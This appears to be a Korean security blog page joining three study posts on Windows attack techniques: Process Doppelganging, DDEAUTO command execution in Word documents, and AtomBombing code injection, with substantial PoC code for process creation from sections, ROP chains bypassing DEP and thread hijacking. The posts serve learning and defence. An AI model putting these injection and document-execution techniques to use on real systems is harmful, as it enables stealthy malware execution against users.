Dummy File 의 내용을 Section 에 Load 하였으므로, 더 이상 Dummy File 은 쓸모 없다. 이제 Transaction 을 Rollback 해주어 Disk 에 Data 가 남지 않게 한다.

CloseHandle(hTransactedFile);
hTransactedFile = nullptr;
if (RollbackTransaction(hTransaction) == FALSE) {


    std::cerr << "RollbackTransaction failed: " << GetLastError() << std::endl;
    return false;
}
CloseHandle(hTransaction);
hTransaction = nullptr;


Step 3
상기의 과정을 통해 Dummy File 로부터 만든 Section 이 존재하며, Dummy File 은 Disk 에 존재하지 않는 상태이다. 이제 Process 를 생성할 것이다. 여기서 일반적으로 Process 를 생성할 때 사용하는 API 는 아래와 같다.

  • CreateProcess
  • WinExec
  • ShellExecute

위 세 가지는 공통적으로 대상 파일의 이름(Path) 을 요구한다. 하지만, Dummy File 은 이미 남아있지 않은 상태이며, 해당 Payload 가 담긴 Section 만이 존재한다. 이를 해결하기 위해 프로세스 생성 과정의 내부를 좀 더 자세히 보면 NtCreateProcessEx 함수가 호출 되는 것을 알 수 있다. 해당 API 는 파일 경로가 아닌 PE 이미지 내용이 담긴 Section 을 필요로 한다.

typedef NTSTATUS(NTAPI *fpNtCreateProcessEx)


{
    OUT PHANDLE           ProcessHandle,
    IN ACCESS_MASK        DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE             ParentProcess,
    IN ULONG              Flags,
    IN HANDLE             SectionHandle OPTIONAL,
    IN HANDLE             DebugPort         OPTIONAL,
    IN HANDLE             ExceptionPort OPTIONAL,
    IN BOOLEAN            InJob
}; 






다시 말해, NtCreateProcessEx 함수와 Dummy File 로부터 생성한 Section 을 가지고 새로운 프로세스를 실행할 수 있게 된다.

HANDLE hProcess = nullptr;

status = NtCreateProcessEx(
    &hProcess, //ProcessHandle
    PROCESS_ALL_ACCESS, //DesiredAccess
    NULL, //ObjectAttributes
    NtCurrentProcess(), //ParentProcess
    PS_INHERIT_HANDLES, //Flags
    hSection, //sectionHandle
    NULL, //DebugPort
  NULL,               //ExceptionPort
    FALSE               //InJob
);
if (status != STATUS_SUCCESS) {
    std::cerr << "NtCreateProcessEx failed" << std::endl;

    return false;
}



Step 4
프로세스의 전체적인 Base 를 만들어 준 뒤, 실제 동작할 수 있도록 몇 가지 설정(Parameter, PEB, ETC.)을 직접 해주어야 한다.  우선 새로 생성한 Process 의 PEB 에 접근하여 ImageBase 를 가지고 온 뒤, Step 1 에서의 Payload Buffer 로부터 AddressOfEntryPoint 를 읽어와 더한다.


status = NtQueryInformationProcess(
    hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(PROCESS_BASIC_INFORMATION),
    &ReturnLength
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtQueryInformationProcess failed");

    break;
}

status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtReadVirtualMemory failed");
break;
}

EntryPoint = (ULONG_PTR)RtlImageNtHeader(payladBuf))->OptionalHeader.AddressOfEntryPoint;
EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;

public struct ProcessBasicInformation {
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public UIntPtr InheritedFromUniqueProcessId;
}

 
Process 의 겉모양은 만들어졌지만, 아직 어떠한 프로세스의 이름을 갖는지 등에 대한 정보가 존재하지 않는다. 이러한 Process 의 Parameter 를 설정해주기 위하여 Parameter Block 을 만든다.

//
// Create process parameters block.
//
RtlInitUnicodeString(&ustr, lpTargetApp);
status = RtlCreateProcessParametersEx(
    &ProcessParameters,    // pointer to parameter block.
    &ustr,
    NULL,
    NULL,
    &ustr,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"RtlCreateProcessParametersEx failed");
    break;
}

가지고 온 Parameter Block 을 생성한 Process 에 공간을 할당 후 기록해준다.

//
// Allocate memory in target process and write process parameters block.
//
sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
MemoryPtr = ProcessParameters;
status = NtAllocateVirtualMemory(hProcess,
    &MemoryPtr,
    0,
    &sz,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed");
    break;
}
sz = 0;
status = NtWriteVirtualMemory(hProcess,
    ProcessParameters,     // target memory address
    ProcessParameters,     // buffer
    ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
&sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed");
    break;
}


Step 5
마지막 단계에서는 위에서 만든 설정들을 실제 PEB 에 연결시킨다.

//
// Update PEB->ProcessParameters pointer to newly allocated block.
//
Peb = pbi.PebBaseAddress;
status = NtWriteVirtualMemory(hProcess,
    &Peb->ProcessParameters,
    &ProcessParameters,
    sizeof(PVOID),
    &sz
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed");
    break;
}

최종적으로 동작을 실행할 Thread 를 만들어준다.

//
// Create primary thread.
//
hThread = NULL;
status = NtCreateThreadEx(&hThread,
    THREAD_ALL_ACCESS,
    NULL,
    hProcess,
    (LPTHREAD_START_ROUTINE)EntryPoint,
    NULL,
    FALSE,
    0,
    0,
    0,
    NULL
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed");
    break;


Conclusion

잘 알려진 다른 공격기법에 비해 다소 생소한 API 와 번거로운 과정을 거쳐야 한다는 것을 알 수 있다. 그렇다고 어려운 과정은 아니다. 보안 공부를 하는 입장에서 이러한 기법에 대해 알고 대응 할 수 있도록 해야한다.



Reference

Blog


Source Code
Git - PoC Code 1
Git - PoC Code 2

News





'Reversing > Theory' 카테고리의 다른 글

IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28

Overview


문서형 악성코드의 경우 Macro 나 Script 등을 이용하여 악성동작을 수행하였다. 하지만 최근 DDE 기능을 악용하는 악성코드가 나타나고 있어, 이에 대해 소개하고자 한다.



DDE


우선 DDE 에 대하여 알아보자. DDE 는Dynamic Data Exchange 의 약어로, 응용 프로그램 간의 데이터 공유를 위한 방법이다. 예로 워드와 엑셀 간의 데이터 공유가 있다. DDE 를 활용하기 위해 MS Word 에서 아래와 같이 따라가보자.


삽입 - 빠른 문서 요소 - 필드- 필드 이름: "= (Formula)" - 확인

* MS Word 2016 기준 


아래와 같이 "!수식의 끝이 잘못되었습니다" 라고 출력 될 것이다. 해당 부분을 마우스 우측으로 클릭 후 "필드 코드 토글" 을 클릭해보자. 그럼 아래와 같이 " = \"MERGEFORMAT" 이라는 필드 코드를 확인 할 수 있다.




Execute


수식 중 "DDEAUTO" 라는 Keyword 를 입력 할 수 있다. 이는 문서 실행 시 자동으로 뒤의 명령어를 실행 할 수 있게끔 한다. 예시로 아래와 같이 수식을 입력해보자.


DDEAUTO C:\\Windows\\System32\\cmd "/k calc.exe"



그리고 파일을 저장 후 다시 열어 볼 경우 아래와 같이 팝업 창이 뜨는 것을 확인 할 수 있다.




모두 예를 누를 경우 입력한 명령어가 실행되며 계산기가 나타나는 것을 확인 할 수 있다. 또한 필드 코드가 외부로 보이는 형태를 아래와 같이 변경 할 수 있기 때문에 사용자는 인지하지 못할 수 있다.





Conclusion


위 예시의 경우 간단하게 나타냈다. 하지만 실제 필드 코드를 계산기 실행이 아닌 Powershell 과 같은 것을 이용 할 경우 DDE 는 더욱 많은 곳에 악용 될 수 있다. MS 의 경우 이 기능은 정상적인 기능이며, 실행 여부를 묻는 화면이 출력되므로 충분히 사용자에게 경고가 될 것이라는 입장으로 알려진다. 


강력한 기능으로 보이지는 않더라도, 보안을 공부하는 사람의 입장으로서 최신 악성코드가 이와 같은 방법을 사용하고 있다는 것을 인지 할 필요는 있을 것이다.




Reference


- INCA Internet 공식 블로그 "워드 문서 DDE 취약점을 이용한 악성코드 유포 주의"  : http://erteam.nprotect.com/1422


'Reversing > Theory' 카테고리의 다른 글

Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23

Atombombing 기법

Kail-KM
|2017. 5. 28. 09:56

Overview


AtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다.


전체적인 동작은 아래 흐름도와 같다.


1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode Atom Table 추가

2. 대상 프로세스가 Atom Table 로부터 ShellCode 가지고 오게 하도록 APC 사용

3. APC 통해 조작된 대상 프로세스는 ShellCode 가지고 DEP 후회를 위한 ROP Chain 사용



대상 프로세스에 개입하기 위해 주로 사용하는 API 아래와 같다.


NTSTAT NtQueueApcThread(

   _In_ HANDLE                   ThreadHandle,

   _In_ PIO_APC_ROUTINE      ApcRoutine,

   _In_ PVOID                      ApcRoutineContext OPTIONAL,

   _In_ PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,

   _In_ ULONG                     ApcReserved OPTIONAL

);

DWORD WINAPI QueueUserAPC(

   _In_ PAPCFUNC           pfnAPC,

   _In_ ULONG_PTR          hThread,

   _In_ ULONG_PTR          dwData

);


해당 API 가 사용되는 예는 아래와 같다.

// NtQueueApcThread

eReturn = main_NtQueueApcThreadWrapper(hRemoteThread, pfnWaitForSingleObjectEx, hWaitHandle, (PVOID)dwWaitMilliseconds, (PVOID)bWaitAlertable);

ESTATUS main_NtQueueApcThreadWrapper(HANDLE hThread, PKNORMAL_ROUTINE pfnApcRoutine, PVOID pvArg1, PVOID pvArg2, PVOID pvArg3)

{

...

ntStatus = NtQueueApcThread(hThread, pfnApcRoutine, pvArg1, pvArg2, pvArg3);

...

}

// QueueUserApcThread

eReturn = main_QueueUserApcWrapperAndKeepAlertable(hThread, (PAPCFUNC)SetEvent, (ULONG_PTR)RemoteHandle);

ESTATUS main_QueueUserApcWrapperAndKeepAlertable(HANDLE hThread, PAPCFUNC pfnAPC, ULONG_PTR dwData)

{

...

dwErr = QueueUserAPC(pfnAPC, hThread, dwData);

...

}



Stage #1


악성 프로세스는 대상 프로세스에서 공격 스레드를 탐색한다. 주로 사용 되는 방식이 APC 임에 따라 대상 스레드는 Alertable 상태여야 한다.  Alertable 상태의 스레드는 아래와 같이 동작한다.

 

* APC Thread Queue 프로시저가 있는지 확인

* Queueing 프로시저가 있을 경우 해당 프로시저를 실행

* 프로시저를 완료   다시 Queueing 정보가 있는지 확인

* 과정을 반복



최종적으로 하나의 Alertable 상태의 Thread 핸들을 가지고 온다.


ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)

{

eReturn = main_EnumProcessThreads(hProcess, &phProcessThreadsHandles, &cbProcessThreadsHandlesSize, &dwNumberOfProcessThreads);

...

for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)

{

HANDLE hThread = phProcessThreadsHandles[dwIndex];

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hThread, GetCurrentThread(), 5000, TRUE);

if (ESTATUS_FAILED(eReturn))

continue;

}

...

DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);

...

hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];

//If the thread is in an alertable state, keep it that way "forever".

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hAlertableThread, GetCurrentThread(), INFINITE, TRUE);

*phAlertableThread = hAlertableThread;

...

}



Stage #2


NtQueueApcThread 통해 대상 프로세스가 GlobalGetAtomName 호출했다고 가정하자. 하지만 이를 통해 가지고 Buffer DEP 인해 실행 없는 상태이다. 이를 우회하기 위한 방법이 바로 ROP Chain 이다. 선언된 ROP Chain 다음과 같은 구조체로 나타낼 있다.


typedef struct _ROPCHAIN

{

// Return address of ntdll!ZwAllocateMemory

PVOID pvMemcpy;

 

// Params for ntdll!ZwAllocateMemory

HANDLE ZwAllocateMemoryhProcess;

PVOID ZwAllocateMemoryBaseAddress;

ULONG_PTR ZwAllocateMemoryZeroBits;

PSIZE_T ZwAllocateMemoryRegionSize;

ULONG ZwAllocateMemoryAllocationType;

ULONG ZwAllocateMemoryProtect;

 

// Return address of ntdll!memcpy

PVOID pvRetGadget;

 

// Params for ntdll!memcpy        

PVOID MemcpyDestination;

PVOID MemcpySource;

SIZE_T MemcpyLength;

} ROPCHAIN, *PROPCHAIN;



ROP Chain 구성은 아래와 같이 한다.


pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);

 

ESTATUS main_BuildROPChain(PVOID pvROPLocation, PVOID pvShellcodeLocation, PROPCHAIN ptRopChain)

{

ROPCHAIN tRopChain = { 0 };

tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();

tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyDestination);

tRopChain.ZwAllocateMemoryZeroBits = NULL;

tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyLength));

tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;

tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;

tRopChain.MemcpyDestination = (PVOID)0x00;

tRopChain.MemcpySource = pvShellcodeLocation;

tRopChain.MemcpyLength = sizeof(SHELLCODE);

eReturn = GetFunctionAddressFromDll(NTDLL, MEMCPY, &tRopChain.pvMemcpy);

 

// Find a ret instruction in order to finally jump to the

// newly allocated executable shellcode.

eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);

*ptRopChain = tRopChain;

}


구성 ROP Chain 예시는 아래와 같다.

[출처 - Reversenote]


ROP Chain 구성해주는 이유는 위에서 언급한 바와 같이 DEP 우회하기 위함이다. 우 ZwAllocateVirtualMemory() 통해 실행 권한이 있는 메모리를 할당할 것이며, AtomTable 에서 가지고 ShellCode memcpy 사용하여 새로 할당한 메모리로 복사할 것이다


ROP Chain 할당할 대상 메모리 공간은 아래와 같이 구한다. PoC 코드에서는 KernelBase.dll Data 섹션 부분을 지정하고 있다.

ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)

{

PIMAGE_SECTION_HEADER ptSectionHeader = NULL;

PVOID pvCodeCave = NULL;

HMODULE hNtDll = NULL;

 

hNtDll = GetModuleHandleA("kernelbase.dll");

eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);

 

pvCodeCave = (PVOID)((DWORD) hNtDll + ptSectionHeader->VirtualAddress + ptSectionHeader->SizeOfRawData);

*ppvCodeCave = pvCodeCave;

}

 

CoveCave 공격을 위한 pvRemoteROPChainAddress, pvRemoteContextAddress, pvRemoteGetProcAddressLoadLibraryAddress, pvRemoteShellcodeAddress 기록해준다.    




Stage #3


이제 공격을 위한 준비는 모두 완료되었다. 그렇다면 어떻게 대상 스레드가 ROP Chain 이용하여 새로운 메모리로 Shellcode 복사한 실행할 있을까. 이를 위해 사용되는 방법은 아래와 같이 EIP ESP 지정해주는 것이다.

bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);

if (ESTATUS_FAILED(eReturn))

{

goto lblCleanup;

}

 

tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");

tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

 

printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");

eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);

 

ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)

{

PKNORMAL_ROUTINE pfnSetThreadContext = NULL;

ESTATUS eReturn = ESTATUS_INVALID;

GetFunctionAddressFromDll(NTDLL, NTSETCONTEXTTHREAD, (PVOID *) &pfnSetThreadContext);

 

main_NtQueueApcThreadWrapper(hThread, pfnSetThreadContext, GetCurrentThread(), (PVOID)ptContext, (PVOID)NULL);

}


참고

SetThreadContext 악성 프로세스에서 호출하지 않고, 대상 프로세스에 APC 굳이 넘겨주는 이유는 공격이 끝난 원래의 흐름으로 복구하도록 하기 위함이다. 이에 대해선 Stage #4 확인하자.

 

참고

SetThreadContext(hThread, lpContext) 사용 NtQueueApcThread 사용한다. 경우 전달 있는 인자의 개수가 차이가 있어, Stack 에는 문제가 발생한다. 하지만 EIP 강제로 바꾸는 순간부터 이미 원래의 상태로는 되돌아갈 없다. 따라서 이에 대해서는 신경쓰지 않는다.


대상 스레드의 EIP ZwAllocateVirtualMemory   지정 , Stack ROP Chain 가리키도록 하면 아래와 같은 모습으로 나타낼 있다.


[출처 - Reversenote]



ZwAllocateVirtualMemory 호출한 Return 주소는 memcpy 것이다. 그리고 Stack 아래와 같이 "RETN 18" 인해 0x18 만큼 POP 된다.


위와 같이 진행된 EIP memcpy , Stack 아래와 같이 나타내어진다. 여기서 memcpy 첫번째 인자는 ZwAllocateVirtualMemory 번째 인자가 가리키고 있었기 떄문에, 새로 할당된 주소가 담겨있을 것이다.

[출처 - Reversenote]


Memcpy 진행 EIP RET 가젯을 가리키고 있을 것이다. 결국 2번의 Return 실행되면서 새로 할당된 주소로 Return 하게 된다. 이제 새로 할당 곳으로 복사된 Shellcode 코드가 진행 것이다.

 

 

복사 Shellcode 실행 필요한 인자 등은 이미 위에서 할당해준 것을 이용한다.

pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);



Stage #4


공격자가 원하는 코드가 진행된 , 사용 스레드는 원래의 동작을 수행하도록 되어야 한다. 그렇지 않으면 사용자가 이상징후를 감지할 있다강제로 바뀌어 버린 EIP, 이에 대해 어떻게 원래의 동작을 수행하게끔 있을까. 이를 알기 위해선 APC 함수를 분배하는 함수인 Ntdll!KiUserApcDispatcher() 대해 알아야 한다.


정상적인 경우 해당 함수는 아래와 같이 동작하며 아래 예에서는 CALL EAX 통해 Queueing APC 함수를 실행한다그리고 APC 함수를 완료한 기존에 EDI 담긴 CONTEXT NtContine 한다.


참고

여기서부터는 악성프로세스가 아닌 실행 Shellcode 에서 구현되어야 하는 부분이다.

 

하지만 NtQueueApcThread(...SetThreadContext…) 실행시키고자 하는 경우 그림의 CALL EAX 에서 Return 수는 없다. 하지만 만약 CALL EAX 하기 , EDI 저장된 CONTEXT 내용을 보존할 있다면, 이야기는 달라진다.

 

공격자는 EDI 담긴 CONTEXT 저장하기 위해, Shellcode 도입부에 아래와 같은 명령어를 사용한다.

 

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

}

 

하지만 KiUserApcDispatcher 에서의 CALL EAX 부터, Sehllcode 도입부까지 EDI 변경되지 않음을 확실히 하기 위해 CONTEXT 구조체의 ContextFlags 설정하는 것이다. CONTEXT_CONTROL flag 설정되면 EIP, EBP, ESP, EFLAGS, SEGSS, SEGCS 제외한 다른 값은 수정되지 않는다.


 

도입부에서 CONTEXT 저장한 원하는 동작을 수행한다. 그리고 동작을 끝낸 , 이전에 저장한 CONTEXT 가지고 와서 NtContinue 호출해주면, 원래 저장된 CONTEXT 내용을 실행하게 것이다.

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

pfnWinExec(pszCalcExe, 0);

pfnZwContinue(ptContext, 1);

}



Reference


Github, BreakingMalwareResearch : Atom-bombing

* https://github.com/BreakingMalwareResearch/atom-bombing

 

Blog, BreakingMalware : "AtomBombing: Brand New Code Injection for Windows"

* https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/

 

Blog, Reversenote : "Atombombing - Stage 1 ~ 3"

* http://www.reversenote.info/atombombing-stage1/

 

MSDN, Windows API

* https://msdn.microsoft.com

 

Ntinternals, Undocumented : NTAPI

* https://undocumented.ntinternals.net/

 

Egloos, himskim : "APC 대하여" ; Alertable Thread 에 대해 쉽게 설명

* http://himskim.egloos.com/1053865

'Reversing > Theory' 카테고리의 다른 글

Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26